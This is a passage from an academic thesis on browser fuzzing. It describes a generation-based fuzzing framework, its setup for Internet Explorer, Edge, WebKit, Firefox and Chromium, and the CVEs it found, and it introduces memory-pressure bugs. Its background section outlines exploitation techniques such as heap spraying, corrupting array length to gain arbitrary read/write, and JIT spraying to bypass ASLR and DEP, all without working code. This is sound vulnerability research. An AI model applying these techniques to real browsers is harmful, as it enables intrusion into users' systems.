Use-After-Free is the vulnerability commonly found in all major web browser [50–52]. The exploitability of UAF bug in the browser has been greatly increased by exploitation technique like heap spray and Return Oriented Programming(ROP). Microsoft Internet Explorer is the major victim of Use-After-Free bug.

JavaScript is a perfect environment for the heap spray. The JavaScript engine in the browser allows the attacker to insert heap spraying code between use and free. There are plenty of good heap spray object exist for JavaScript. The String object, TypedArray Object and ArrayBuffer object are just a few examples of perfect heap spray object. Those objects have controllable size and content. JavaScript engines also allow the attacker to allocate any amount of those Object in JavaScript.

2.3.2 Arbitrary read and write

The JavaScript has the Array object. If an attacker is able to overwrite its metadata in the memory to change the length attribute of an array object. The array will grant the attacker access to read and write of whole memory space. This allows the attacker to transform many memory corruption into an arbitrary read and write.

The arbitrary read and write are extremely powerful. It can be used to bypass all currently implemented exploit mitigations that prevent arbitrary code execution. It can read all memory to bypass ASLR and read all required ROP gadgets. It can write on any object to corrupt its virtual table pointer to hijack the control flow. The power of transforming memory corruption vulnerabilities into arbitrary read and write in JavaScript makes the browser more vulnerable to the memory corruption bug. Therefore browser vendors favour implementing mitigations that can prevent memory corruption from the root cause.

2.4 JIT

Since JavaScript is a Just-In-Time (JIT) language, it is also vulnerable to JIT related attack such as JIT code injection that can be used to bypass DEP. The constants in a JIT code will also be compiled into the executable section in memory. The attacker can, therefore, inject constants in JIT code and treat them as ROP gadgets. The attacker can also spray a large amount of JIT code that contains constant, it will make the code location predictable and thus bypass ASLR [53].

2.5 Browser mitigations

The new exploitation and detection technique developed for browser leads to a spike in exploitable vulnerabilities in the browser. This gives the vendor an incentive to implement vulnerability mitigations to reduce the amount of vulnerability in their product. The Internet Explorer of Microsoft was reported to have a significant amount of UAF in its rendering engine, This lead to the development of MemGC and Isolated heap that are specifically implemented to reduce UAF bug in IE [54]. Also that many browsers implemented a sandbox to prevent arbitrary code execution from gain root privileges and limit the damage a browser exploit can cause.

2.5.1 MemGC and Isolated Heap

MemGC is the notable Use-After-Free mitigation implemented by Microsoft for IE and Microsoft Edge [55]. Most Use-After-Free for Internet Explorer were reported are in its DOM engine, The trident engine also known as MSHTML. Therefore memGC specifically focuses on preventing UFA for DOM objects.

To address the issue of heap spray exploitation technique commonly used by UAF exploitation, MemGC is now managing most DOM object in an isolated heap to separate memGC object with other objects. This implementation prevents the attacker from heap spraying attacker-controlled object into the isolated heap.

Other than the isolated heap, MemGC also implemented protected free and garbage collection for memGC objects. When an memGC object is freed, it will be marked as a candidate to be clear during the garbage collection phase and all of its entries will be zeroed out. The garbage collection will start once enough memGC object is ready to be reclaimed. During the garbage collection phase, memGC will not free an object if the object is referenced from any location in the register, stack and memGC heap.

The memGC significantly reduces the number of the exploitable bug in Internet explorer from more than 200 cases in 2015 and 2014 to 129 cases in 2016 after its release in 2015 [56].

2.6 Browser Vulnerability Discovery

Modern web browsers usually contain millions of lines of code, the Chrome project consists of more than 30 million lines of code[41] . The most suitable method for discovering the vulnerability in a modern web browser is fuzzing. For small components like regular expression parser in JavaScript, mutation-based fuzzer like AFL can be used. However, to fuzz the complex components like DOM and JavaScript engine of modern web browser, a generation-based fuzzer will be needed to generate test cases that comply with syntax rules of those components.

There are many methods of discovering vulnerability for a software, However, fuzzing is still the most effective method to find new vulnerabilities in the browser's rendering engine. Some researchers found more than a hundred exploitable bugs in browsers by just using fuzzing alone [36].

Some fuzzers are notable to mention in this thesis, the Domato developed by Google Project Zero is a DOM fuzzer that tests for vulnerability in browser's DOM engine [37]. It uses the effective CSS, JavaScript and page layout template as the structure to generate test case [36]. Domato contains thousands line of grammar and vocabulary for CSS, HTML and JavaScript. Domato provides a rich dictionary of DOM syntax in both JavaScript and CSS. This gives domato to be able to cover a large amount of DOM operations that may have hidden vulnerabilities. Domato successfully found more than 30 bugs in various modern browser DOM engines

and it provides an open-source grammar parser to help researcher develop their generation-based fuzzer for scripting languages.

Jsfunfuzz is a JavaScript fuzzer developed by Mozilla to fuzz Spidermonkey, the JavaScript engine used by the Firefox browser [49]. Jsfunfuzz includes many JavaScript syntax and grammar that is specifically for JavaScript. Unlike DOM fuzzer that generates JavaScript code that interacts with DOM elements. The jsfunfuzz generates test cases that are only for JavaScript engine. Therefore it supports fuzzing on a standalone JavaScript engine. Because that will be more efficient than fuzzing JavaScript engine through a browser. restarting the JavaScript engine is much faster than the browser as a whole.

Chapter 3

Generation-based Browser Fuzzer

3.1 Introduction

In this chapter, a generation-based browser fuzzing framework will be introduced. It is designed to discover vulnerabilities in various browser components. Generation-based fuzzing uses a set of existing grammar and vocabulary to generate test cases for testing programs that accept only highly structured input. Generation-based fuzzing is proven to be effective for fuzzing DOM structure in the browser. It generates test cases based on an existing grammar and syntax rules and it can be used to fuzz without any seed files.

3.1.1 Browser Vulnerability Detection

Fuzzing is the most widely used method to discover security bugs in modern web browsers. Because unlike static analysis with high false-positive rate, fuzzing can produce immediate Proof-Of-Concept(POC) file from the process when a crash found. This ensures the fuzzing process to find bugs that can be easily reproduced and analysed. Fuzzing also has the advantage over symbolic execution over large and complex programs like web browsers. Because unlike symbolic execution, fuzzing can be very fast on a very large program like browsers. Moreover, many instrumentation tools can be used to improve the vulnerability discover rate during the fuzzing process.

3.1.1.1 Mutation-based fuzzing

An intuitive idea to test a program is to generate random input to feed into the program. However Most randomly generated test case is invalid and will cause a syntax error when it is feed into the target. Therefore a good idea of generating test case is a mutation on an existing syntax valid input that we call seed. A mutation can be a random insert, delete or flip of any bit in the seed. During the fuzzing process, mutation of seeds will be feed to the program as an input. Therefore the seed selection will greatly impact the test case generated by the mutation-based fuzzer. A good indication of the quality of a seed is the code coverage [57]. If two seed file has same code coverage, they are likely to find the same bugs. Research has shown that increases of code coverage of seed file will increase the amount of the bugs found [58]. Therefore using code coverage to evaluate the mutation can be helpful during the fuzzing. Many mutation-based fuzzer nowadays using code coverage instrumentation to guide its mutation strategy. For example, AFL is a code coverage guided fuzzing that finds great success in vulnerability discovery [35]. AFL will maintain a queue of seed files. On each round, it will generate a test case by mutating a seed file in the queue. Upon executing a test case, AFL will check its code coverage. If the program enters a new state, the test case will be put into the seed file queue. After a certain number of test case been tested by mutating a single seed file, it will proceed to the next seed file in the queue. The code coverage guided fuzzing strategy used by AFL has proven to be a great success in bug discovery. It found hundreds of bugs in various software and libraries.

3.1.1.2 Generation-based fuzzing

Mutation-based fuzzer is easy to implement and a single mutation-based fuzzer can be used to fuzz many different types of program. However, this is not with a drawback. For a program that requires strict syntax and structured input, a mutation-based fuzzer will have a very high chance of generating an invalid input that causes a syntax error. For example, the JavaScript commonly used as an input for the browser will probably not accept a single mutation from a valid input. Therefore to fuzz a syntax strict application, the test case generation must follow the grammar and syntax rules of the target program. This causes the researchers

to develop generation-based fuzzer that generates fuzzing test case by complying syntax and grammar structure of the target.

Research has shown that generation-based fuzzers are likely to generate test cases that cover more execution code than mutation-based fuzzers [59]. However, every generation-based fuzzer are different depending on its fuzzing target's required input format. The effectiveness of generation-based fuzzer relies on its test case generation strategy. The richer the vocabulary and grammar structure, the more code coverage of a generation-based fuzzer can achieve. Generation-based fuzzer is proven to be a success in syntax strict programs like browsers and PDF readers [36, 37, 49]. For example, the domato fuzzer developed by Google project zero found more than 30 security vulnerability in multiple popular web browsers.

3.1.2 Motivation

Generation-based fuzzing is proven to be effective for browser fuzzing [37, 49]. However, the fuzzing result of a generation-based fuzzing is greatly depending on the test case generation strategy. Different test case generation strategy may cover different aspects of a browser's functionality. Therefore a fuzzing framework must be able to compatible with multiple test case generation strategy. Moreover, due to the rapid development of new functionality of the modern web browser, The test case generator must be updated along with new web standard and updates of the browser. Therefore A fuzzing framework should support the continuous development of test case generation to cater to the needs for testing every new version of the browser. Also, To increase the efficiency of fuzzing, A fuzzing framework must be able to scale the fuzzing process with a multiple core CPU.

The efficiency of finding new crashes from one test case generation will decrease over time. Most of the test case generation strategy will have a significant decrease in unique crash found after a prolonged time of fuzzing. Because most crash found in the later stage of the fuzzing are identical to previously found crash. Also because of the complexity of the browser, the simple code coverage metric does not reflex the quality of fuzzer for browser. There is still no effective method to guide the fuzzing process for generation-based fuzzing. Google Project Zero experimented coverage-guided DOM fuzzing[37], however, it does not result in any

new crashes comparing to dumb fuzzing. Therefore using a new set of test case generation strategy is the only feasible method to increase the rate of the crash found. In this chapter, we will be providing a fuzzing framework that can fuzz multiple browsers, easy to scale and support continuous fuzzing for multiple test case generation strategy.

3.2 Fuzzing framework

The fuzzing framework consists of 4 components, a monitor, a server, a test case generator set and crash archive. the server will start with the test case generator to generate test cases during the fuzzing process. The test case should embed a request command after each execution for the browser to load a new test case from the server. The target browser will request a new test case from the server after each test case was executed. A monitor is attached to the target browser to detect any error during the execution. Upon discovering any crash during the fuzzing process, the monitor will request the current test case from the server and save the crash dump together with proof-of-concept(POC) test case to the crash archive. Each fuzzing process is run in a separate virtual machine sharing a single crash archive and test case generators in the parent machine. Figure 3.1 shows an overview of our fuzzing framework.

3.2.1 Test case generation

In our design of fuzzing framework, our fuzzer supports fuzzing with multiple test case generator. We can set the duration time of one particular test case generator to be fuzzed with, and the sequence of the test case generator to be fuzzed. For generation-based fuzzing, test case generator usually generates a randomized test case with the correct syntax of the fuzzing target. This type of test case generator usually requires a vocabulary dictionary of the fuzzing target and a grammar structure to generate a test case with acceptable syntax and grammar. For example, Domato, a Document Object Model test case generator developed by Google project zero [37], takes a well-organized grammar file and a template as input to

FIGURE 3.1: An overview of the fuzzing framework.

generate a fuzzing test case. Domato comes with an open-sourced grammar processing tool, that can read a well-organized grammar file and generate structured language with the corresponding grammar. The grammar file can usually be generated by a set of vocabulary and a proper grammar structure of a given language. With grammar file and a template, Domato is able to generate a test case ready to fuzz. Figure 3.2 shows the general flow of a generator in domato.

There are many ways to create a grammar file. we can manually construct the grammar file or a crawler may be used to crawl proper words and grammar from online documentation such as MDN and W3C. After grammar structure and a set of vocabulary are obtained, A test generation strategy template will be needed to

FIGURE 3.2: General flow of generator in domato

put vocabulary and grammar structure together to generate a proper test case for fuzzing.

In this fuzzing framework, all test case generators are written in python, they will be input as a set of test case generator. During the fuzzing process, All test case generating strategy will take turns to fuzz with a fixed time interval between each of them. Our fuzzing framework also supports other test case generator written in python.

3.2.1.1 Grammar and Vocabulary

A test case generator usually consists of a list of grammar structure and a list of vocabulary. Each line of the test case is generated from a grammar structure with a placeholder for each type of vocabulary. The test case generator will look for the word from vocabulary file to replace the placeholder in the grammar structure. Each type of vocabulary may also consist of multiple types of vocabulary. The 3.3 shows the generation of a line in a test case from grammar and vocabulary file.

FIGURE 3.3: How test case is generated from Grammar and Vocabulary

The vocabulary file should be as rich a possible because it determines the depth of test case coverage. However, on the other hand, the grammar file should be specifically constructed for each test case generator. It should consist of some very commonly seen syntax and some special syntax from an idea. For example, the power in pairs presented a strategy to test an object by perform an operation on the object and undo it [36]. Such fuzzing strategy will have grammar files consist of operation on an object and it's reverse operation to implement the idea. Also, it must consist of common object construction and object mutation syntax to construct an object and test it after the operation pairs.

The grammar file also must be carefully constructed to avoid any possible infinite loop or long execution on the target program. Chances of syntax or a word are selected in the test case generator process can also be specified to increase the efficiency of fuzzing. For example, if object removing syntax is too frequent, the object in the test case will always be deleted before been tested. If object creation syntax is too frequent, most of the object will be newly created empty object, those new object may pollute the pool of existing object. Therefore limiting both object creation and deletion and increase the chance of object mutation syntax will be more effective.

3.2.1.2 General purpose DOM

The Document Object Model (DOM) is the most common attack vector of web browsers. Due to its complexity, vulnerabilities like Use-After-Free and Out-of-Bound access are very commonly seen in DOM rendering engine [50–52]. There are many ways to construct a DOM tree and interact with it in a modern web browser. For example, JavaScript is a commonly used scripting language to alter the DOM tree, modern web browsers have many built-in functions in JavaScript that allows the user to insert, delete, modify or interact with elements in DOM tree. Therefore a DOM fuzzing test case generator is an important component for browser fuzzing. DOM mutation is known to be an effective way to discover vulnerabilities in the browser, there are mainly 3 Web API that can effects DOM structure namely Hypertext Markup Language(HTML), Cascading Style Sheets (CSS) and JavaScript. The Hypertext Markup Language(HTML) is responsible for the initialization of DOM tree structure in a web document. Every DOM node can be represented by an HTML tag, Browser will render different HTML tag into a different type of object in the DOM tree. Properties and attributes can be defined at HTML for any DOM element. The Cascading Style Sheets are used to define the style of DOM elements. The style of a DOM element may affect its layout, colour, fonts and contain. It allows DOM elements to share style formatting in a simple manner. The JavaScript engine embedded in the browser also supports many native functions that may alter the DOM tree’s behaviour. It has functions like AppendChild to append a new child to a DOM element, removeChild to delete a node and many other built-in functions to effect the DOM tree. Other than that, The JavaScript is also responsible for event handling. Figure 3.4 shows a common template from a general-purpose DOM test case generator.

The general purpose DOM fuzzer usually needs a very large set of vocabulary, it must contain all vocabulary for CSS, SVG, HTML tags and attributes, JavaScript DOM code and all event handling syntax. In our fuzzing process, we use Domato’s default DOM generator, to be our general-purpose DOM test case generator [37]. Domato’s DOM generator takes 3 grammar file as input, each grammar file containing grammar structure and vocabulary of three major components of the Browser’s DOM engine. Domato will process those grammar files and generates random output complies with the syntax of the corresponding language.

FIGURE 3.4: The basic structure of a general purpose DOM test case generator

With a template that holds those output together in an HTML file, we will get a well-structured test case with correct syntax.

3.2.1.3 Internet Explorer DOM

Since Internet Explorer supports compatibility mode, many deprecated functions can be still be used in Internet Explorer. There are also many new features in other browsers does not work in Internet Explorer. Therefore a different set of vocabulary should be used for generating DOM test case for Internet Explorer fuzzing. To generate the vocabulary set for Internet Explorer, we use a python crawler to crawl all vocabulary from Dottoro web reference website [60]. With a set of vocabulary, we can use the grammar tool used in domato to construct an Internet Explorer DOM test case.

There are many fuzzing strategies used to fuzz Internet explorer [36]. Before Microsoft adopted MemGC Use-After-Free mitigation in Internet Explorer 11, Use-After-Free is a major source of vulnerabilities of Internet Explorer [55]. Use-After-Free in Internet explorer is usually caused by using a freed allocation in an event handler. Therefore A common test case generation strategy is event handler chaining. Mutating DOM in event handler may cause some unforeseen circumstance that may lead to exploitable crashes. In our case, we use an event chaining

for our template to fuzz Internet explorer. the JavaScript template code in code block 3.2.1.3 shows us an example of event handling chain.

```
1 function eventhandler1(){
2 <JS code>
3 <eventhandler2_trigger>
4 }
5
6 function eventhandler2(){
7 <JS code>
8 <eventhandler3_trigger>
9 }
10 function eventhandler3(){
11 <JS code>
12 <eventhandler4_trigger>
13 }
14 function eventhandler4(){
15 <JS code>
16 }
```

LISTING 3.1: Example of a template with eventhandling chain

3.2.1.4 JavaScript Engine

Most modern browsers have their JavaScript engines like Chrome's V8, WebKit's JavaScriptCore and Firefox's SpiderMonkey. Other than Internet explorer's JavaScript engine jscript and jscript9, other major browsers have their JavaScript engine open-sourced. Therefore we can fuzz those JavaScript engines in a standalone console. In this case, the template should be written as a js file instead of an HTML file. Also with open source project, fuzzing can be done together with Instrumentation that can improve the error detecting performance. Both Sanitizer and code coverage tools can be used to evaluate the performance of the fuzzing. However, for Internet explorer's jscript and jscript9 fuzzing, it is not open-sourced and it is integrated with internet explorer. Therefore we can generate embedded JavaScript code in an HTML file for jscript and jscript9.

There is a JavaScript test case generator in Domato [37] which can be used to fuzz the legacy javascript engine, the jscript.dll in Internet Explorer. In the case of

modern JavaScript engine fuzzing, we crawled all JavaScript vocabulary from MDN Web Docs [61], write all JavaScript vocabulary in a proper grammar structure in a grammar file, And using Domato's grammar processing tool to generate lines of JavaScript code with the grammar file.

A Common fuzzing strategy for JavaScript Engine fuzzing is testing the native function with different input. For instance, the domato JavaScript test case generator uses the call method of JavaScript function to force the native function of jsript engine to execute the function without checking the type of the input argument. Therefore in our approach for JavaScript fuzzing, the generated test case creates random JavaScript native Objects and mutate them with various operations and input them into JavaScript native functions. Other than that we also trying to integrate Object's getter and setter into JavaScript fuzzing which may be triggered in some native function call and may cause some unforeseen behaviour.

3.2.2 Fuzzing Server

There are two ways of fuzzing method can be used to delivery a fuzzing test case to the fuzzing target. Local fuzzing puts test cases in a local directory and starts the browser to open each test case locally. Another way of fuzzing is server fuzzing, which sets up a server and lets the browser to request a page from that server, each test case is a webpage which has a redirecting code at the end that will redirect the browser to request another page from the fuzzing server. The server fuzzing of browser is usually faster than the local fuzzer because it will immediately refresh to next test case after executing the current test case. However, the local fuzzing is usually more reliable in crash reproduction because it only opens one test case on a single start.

we usually use server fuzzing to fuzz browser as a whole, however in the case of standalone browser components like JavaScript engine, local fuzzing will be used, because standalone browser components are usually unable to complete some web features like redirecting or refreshing page.

For server fuzzing, the fuzzing server in each machine is just a simple HTTP server that responds to HTTP requests from the browser. Fuzzing server will generate test cases according to the fuzzing strategy provided by the test case

generator. upon every request from the browser, the server will generate a new and random test case to be the response to the request. After fuzzing process starts Fuzzing server will check and update the test case generator every hour. This feature allows the user to change fuzzing strategy without restarting fuzzing process. To resolve some reproducibility issue, The fuzzing server will temporarily hold the 2 most recent test case in memory. When the monitor found a crash, it will request the current test case and previous test case from the server. This allows the user to verify the crash on the previous test case if the current test case is unable to reproduce the crash.

3.2.3 Error Detection and Reporting

Sometimes a vulnerability may trigger a crash in the program. For example, a common vulnerability like stack-buffer-overflow will overflow the return address and may lead the program to run into a non-executable page. This kind of bug is usually easy to detect, however, if the program is running without any error detecting tools, It will be hard to analyse, because stack information may be overwritten. This makes it impossible to recover the stack trace. Therefore an error detecting and reporting tool are important for detecting and handling crashes in fuzzing.

There are many vulnerabilities requires special error detecting tools to be able to detect by fuzzing. vulnerabilities like Use-After-Free and Out-Of-Bound read are sometimes unable to be detected if there is no error detecting tool. Thus error detecting instrumentations like Address Sanitizer is needed to increase the spectrum of detectable vulnerability. For Linux open-source fuzzing, we used Address sanitizer as our error detecting tool [11]. The address sanitizer also generates a very detail error report if any error occurs. For windows fuzzing, Page Heap is available for all Windows application. Page heap are able to help to detect heap related vulnerabilities like Use-After-Free and Out-Of-Bound access.

A monitor is used to monitor the browser process during the fuzzing process. If the browser process runs into any interesting crashes, the monitor will break the execution and save the crash dump into the crash archive on the host machine. If the test case generation is on a server, it will also request and save test case for the current run and previous run from the fuzzing server to the crash archive. if

the test case generation is on a local file directory, it will save the current test case into the crash archive. The monitor will do a simple analysis on the crash stack trace and crash dump to check for its category and crash signature. Every crash info will be saved in the corresponding crash folder in the crash archive. The crash processing of the monitor differs on Windows and Linux platform.

For fuzzing on the Windows platform, monitor in each virtual machine is written in python with Pykd, a python API for windbg. This allows python code to load symbol file and print crash information for crash analysis. There are two ways for the monitor to attach the target browser, one starts the browser process in the monitor, in this way, the monitor will be a parent process of the browser process. On another hand, the browser process can be started first and afterwards monitor will attach to the browser process. Once an interesting exception occurs during fuzzing process, the monitor will record the stack trace of the crash point. It will also save the current CPU statues, all register's value and assembly code before and after the crash point

For fuzzing on the Linux system, we use Address Sanitizer as our error detecting tool, Address sanitizer is able to produce a detail report after an address sanitizer error occurs during the fuzzing process. However, the monitor will still need to process the address sanitizer report to categorize the crash and retrieve the crash signature to put the crash into the correct location in the crash archive.

3.2.4 Crash Archive

The crash archive is saved in the virtual machine's shared folder stored in the parent machine. All crashes will be classified into three categories, Null pointer crashes that are most probably non-exploitable, stack exhaustion crash that is most probably caused by an infinite recursion and other crashes that may be exploitable. For every crashes found by the fuzzer, the monitor will check for its crash signature, which is usually the symbolized code location where the crash occurred.

3.2.5 Crash POC Minimizer

Any crash POC found during the fuzzing process must be minimized before crash analysis. Because a non-minimized POC will contain too much redundant information. It is not only slow to run a non-minimized POC, but it is also hard to analyse a non-minimized POC. Therefore we also developed an automatic minimizer to minimize crash POCs found in the fuzzing process.

The minimizer uses a similar structure to the fuzzer. It has a crash POC reducer to generate a reduced POC file to feed to the server, a server to send POC file to the browser, a monitor to detect the crash. The crash POC reducer will reduce the POC into a smaller file. The algorithm used to reduce the POC is stated in Algorithm 1.

Algorithm 1: algorithm of minimizing process

Data: rawPOC

Result: MinimizedPOC

n = line number of rawPOC;

while $n > 1$ **do**

$n = n/2$;

 bookmark = line number of rawPOC;

while $bookmark > 0$ **do**

 bufferPOC = copy of rawPOC;

 delete n lines before bookmark in bufferPOC;

 run the bufferPOC in target;

if *target crashed* **then**

 rawPOC = bufferPOC;

else

 bookmark = bookmark - n ;

MinimizedPOC = rawPOC

With a starting raw crash POC, the minimizer will initially cut the raw POC into half and run each half of the POC with target browser, if any half of the POC can trigger the crash, we will continue with that half part of POC to next iteration. if non-of them trigger the crash, the minimizer will just go to next iteration with original raw POC. for each later iteration, the minimizer will split current raw POC with sections containing n lines where $n = \frac{\text{total number of lines in original rawPOC}}{2^k}$ and k is the current iteration count. the minimizer will try the run the raw POC with each section been deleted, if the browser crashed, it means the section is

redundant therefore the minimizer will delete the section from the POC. This process will continue until n becomes 1 where each line of raw POC will be checked for redundancy, after the iteration with $n = 1$ completed, the automatic minimizing process stops.

This minimizer only minimizes the crash POC to line level. the minimizer cannot minimize redundant codes containing in each line. However, in usual case to minimize redundant codes in each line manually will not take too much time.

3.3 Implementation

For different browsers, there are slightly different setups. For example, fuzzing on Internet Explorer must be done in a windows machine, while fuzzing on Safari Webkit must be done on a Mac machine. However, our fuzzing framework still applies to all sort of different setups. For browser fuzzing, a server will be set up in each machine and the monitor will start and attach to the target browser to load a web page from the fuzzing server. The fuzzing server will generate web pages according to the test case generating strategy in test case generators. When the target browser runs into a crash, the monitor will record and analyse the crash and save all crash info into the crash archive.

3.3.1 Internet Explorer

As mentioned above, fuzzing on Internet explorer must be done in a Windows machine. Therefore we set up a windows guest virtual machine as a linked base machine for all fuzzing machines. The linked base machine will have 4G memory and 2 CPUs. We also give access to a folder in the parent machine to linked base machine as a shared folder. The shared folder can be used to hold crash dumps and test case generator.

To set up the fuzzing environment. We firstly install all necessary fuzzing component and their dependency on the linked base machine. Fuzzing monitor and fuzzing server of our fuzzer is installed in the linked base guest machine. For windows fuzzing, we also need Python, Pykd and WinDbg to be installed in guest

machines. After installing all necessary fuzzing component. we will turn on the page heap in global flags to enhance the use-after-free detection. Fuzzing monitor and server will be also added into the startup programs, so the fuzzing will be started automatically when guest machines start.

With everything ready and prepared, we create 16 linked-clone to the linked base machine. we start fuzzing process by starting all clones. The fuzzing process will start itself since the fuzzer is added in the startup programs. The Fuzzing process will run indefinitely until we stop it. We can always add new fuzzing strategy in the test case generator folder. The fuzzer will detect the change in the test case generator folder and update its test case generation strategy.

If the fuzzer found any Crash, it will store the crash dump and its triggering file into the crash archive. the fuzzer will do a simple analysis and classify the crash into a different category. Usually, a null pointer crash is non-exploitable and will be stored in a folder, while non-null pointer crash will be stored in another. The fuzzer will also read the crash signature and store each unique crash into a subfolder in its category.

3.3.2 Microsoft Edge

Microsoft Edge is the latest Microsoft Browser, it is the default web browser for Windows 10. Similar to Internet Explorer fuzzing, we can fuzz Edge in a windows machine using python script with windbg and pykd. Apart from these, we also used EdgeDbg by Skylined together with windbg to simplify debugger attaching process.

The fuzzing process is similar to Internet Explorer, We first create a linked base windows 10 guest machine. Install all necessary fuzzing components and its dependency, create a shared folder with access for the guest machines. And finally, add our fuzzer as a start-up program to initiate the fuzzing process when the machine starts. With all set up done, we clone the linked base machine with 16 copies and run all of them, the fuzzing process will start automatically as machines start.

Unlike Internet Explorer, Microsoft Edge's JavaScript Engine Chakra is an open-sourced project. Therefore we can also fuzz Chakra in Linux system with various instrumentation tools like Address sanitizer.

However, fuzzing on JavaScript Engine is different from browser fuzzing. JavaScript Engine takes a js file as input. It is only suitable for local fuzzing, therefore we integrate the test case generator with the monitor. The test case generator will generate a js file locally instead of embed in an HTML webpage. The monitor will start the Chakra engine and execute the js file. During the execution, if address sanitizer detects any error, the monitor will stop the program and save the crash dump into the share folder's crash archive.

3.3.3 Webkit

WebKit is an open-source browser engine used in Apple's Safari. Since it is open-source, we can fuzz it in Linux system with Address Sanitizer. We use a ubuntu machine as a linked base machine. we build WebKit-GTK using Clang with address sanitizer, install all necessary fuzzing components and set our fuzzer as a start-up program. After setting up of linked base machine, we clone 16 link clone machines from the linked base machine and start all of them. Fuzzer will start automatically when the virtual machine starts. For Linux system, fuzzing monitor will report and analyse address sanitizer output. The crash dump will be classified according to the address sanitizer output.

Other than Linux fuzzing of WebKit, we also fuzz WebKit Safari on macOS. Because Fuzzing on MacOS may discover some vulnerability that was unable to find in Linux fuzzing. However there is no up-to-date macOS virtual machine, we have to fuzz it in a Macbook. Therefore large scale fuzzing is unavailable for MacOS fuzzing and virtualization will not be used in this case.

For macOS fuzzing, we build the latest WebKit Safari with Address Sanitizer. Since we do not require large scale fuzzing for macOS, we install our fuzzer with both crash archive and test case generator together in macOS.

To initiate the fuzzing process, we start both fuzzing monitor and fuzzing server, the monitor will start Safari and the fuzzing server will provide the test

case to the browser. Fuzzing server will take the test case generator from a local folder instead of a shared folder. When a crash occurs, the fuzzing monitor will also save the crash dump in the local crash archive.

3.3.4 Chromium and Firefox

Firefox is another popular web browser used by the internet user. It is a totally open source project, therefore, we are able to compile it with address sanitizer and fuzz in the Linux system. Firefox also has its own JavaScript Engine SpiderMonkey that can be compiled into a standalone JavaScript console. Thus we can fuzz JavaScript with the standalone SpiderMonkey for better performance.

We construct a template Ubuntu Machine as a linked base. we create a shared folder to store crash archive and compile and build the latest Firefox browser with address sanitizer and install fuzzer with its dependency on the linked base machine. Then set our fuzzer as a start-up the program and we clone 16 copies of link clone from the linked base machine.

After we start all 16 copies of linked-clone virtual machines, the fuzzing process will be started automatically. If address sanitizer detects any error, the fuzzer will record and save crash dump together with POC in the crash archive in the parent machine.

We also fuzz the standalone JavaScript Engine of Firefox, the SpiderMonkey. During the Compilation process of Firefox, we also compile the standalone SpiderMonkey console. JavaScript Engine Fuzzing is done locally by generating and feeding js files to the JavaScript Engine. Therefore we use the test case generator directly in this case. So the test case generator will generate a test case in a local file directory and SpiderMonkey will read and execute the test case file stored locally. If Any Crash found during the fuzzing process, Monitor will take POC from the test case file saved locally instead.

Although Google Chrome is not fully open-sourced, it is based on an open-source Chromium project. Therefore we can fuzz Chromium in Linux with its address sanitizer build. The fuzzing process is similar to Firefox fuzzing. We compile Chromium with address sanitizer and install fuzzer in a linked base machine,

set fuzzer as start-up programme and clone 16 copied of the linked base machine. Starting all clone machines will automatically start the fuzzing process.

Chrome also has its standalone JavaScript Engine, V8. We can compile it with Address Sanitizer and fuzz alone similar to SpiderMonkey fuzzing

3.4 Result

We have tested our framework on all major browsers on a HP Z640 workstation, with 16 Virtual Machines running each with 1 cpu and 4 GB RAM for one month for each browser. For Internet Explorer, we used Windows 7 with Internet Explorer 11. For Webkit, Firefox and Chrome, we build and fuzz the latest release on Ubuntu 16.04. For Microsoft Edge, we used the latest Windows 10 with Edge.

By using various test case generator with our fuzzing framework, we have found a total of 7 zero-day vulnerabilities from various browsers. five of those were assigned with CVE numbers, one is been patched before reported to the vendor and one is still a zero-day currently. The details of the vulnerability discovered by us will be discussed in chapter 5. We have found three Internet Explorer memory pressure vulnerability(CVE-2017-8547, CVE-2018-8643 and one Zero-day) , one Edge type confusion vulnerability, two WebKit vulnerability (CVE-2018-12911) and one vulnerability in libsoup that is used by Webkit GTK (CVE-2018-12910). The table 3.1 shows the result of our fuzzing framework. Only 3 vulnerabilities we found from Internet Explorer is memory pressure vulnerabilities, while other vulnerabilities found by our fuzzing framework are found by ordinary fuzzing.

Browsers	Crash	Vulnerabilities found
Internet Explorer	41	3
WebKit	35	3
Microsoft Edge	19	1

TABLE 3.1: Fuzzing Result

CVE-2017-8547 is an out of bound read vulnerability that can only be triggered under memory pressure condition. This is a vulnerability in Internet Explorer DOM engine. While CVE-2018-8643 is an uninitialized read vulnerability

triggered under memory pressure condition. This is a vulnerability in the Internet Explorer's JavaScript engine. Both CVE-2017-8547 and CVE-2018-8643 are memory pressure vulnerability in Internet Explorer. However they are discovered by different test case generation method, CVE-2017-8547 is an Internet Explorer DOM vulnerability discovered by using Internet Explorer DOM test case generator. While CVE-2018-8643 is a Javascript vulnerability discovered by using JavaScript test case generator. This shows the effectiveness of our fuzzing framework by applying the same memory pressure instrumentation while using a different set of test case generator. CVE-2018-12910, CVE-2018-4375 and CVE-2018-12911 are all vulnerabilities found while we fuzzing the WebKit. CVE-2018-12910 is a heap buffer overflow vulnerability in libsoup. CVE-2018-12911 is a heap out of bound write vulnerability for WebKit GTK. While CVE-2018-4375 is a Use-After-Free bug on WebKit safari. Discovery of those bugs demonstrates the ability to find different type of bug using different instrumentation under different environment for our fuzzing framework.

Chapter 4

Memory Pressure Bug

4.1 Introduction

In this chapter, we will introduce the concept of Memory Pressure bug and we will discuss the detection method of such bug. We define the Memory Pressure bug to be the bug that was caused by the failure of an allocation. A failure of memory allocation may cause by out of memory condition in the program. In the usual case, the failure of memory allocation may be handled well by the program and will not cause any problem. However there are chances that the program will not handle well on some occasion, this may eventually cause a crash. Though most of the time it is a non-exploitable null dereference crash. Because most memory allocator will return null when it fails. However sometimes this may cause a more severe problem, it may cause some unexpected behaviour to the program and eventually leads to an exploitable crash. In our work, we found some vulnerabilities that are caused by the failure of an allocation. For example, In CVE-2017-8547, a failure of allocation in Internet explorer's DOM object cause an out of bound read and eventually lead to a remote code execution bug.

Although the Memory Pressure bug was successfully exploited on many occasion. It does not gain much attention in the research field. In 2014 Vupen uses a Memory Pressure bug to hack Mozilla firefox in PWN2OWN competition [62]. In 2017 Yuki Chen from 360vulcan shows the ability to exploit modern browser from an OOM errors [63]. All those works show the potential damage of a memory

pressure bug may cause. Therefore an effective method is needed to detect and reproduce such bug. In this chapter, we will propose a method to detect memory pressure in a fuzzing process.

Fuzzing is always a popular method to discover security vulnerability. It is one of the most reliable methods to find bugs in the web browser. However, there is a lack of an effective method to detect memory pressure bugs. Because currently available tools for low memory simulation are unreliable to produce a crash. For example, Window's Application Verifier can trigger Memory pressure bug using fuzzing, however, bugs found by using application verifier are usually lack of information of failed memory allocation. This will make the bug either unable to reproduce or require tedious code analysis to exploit.

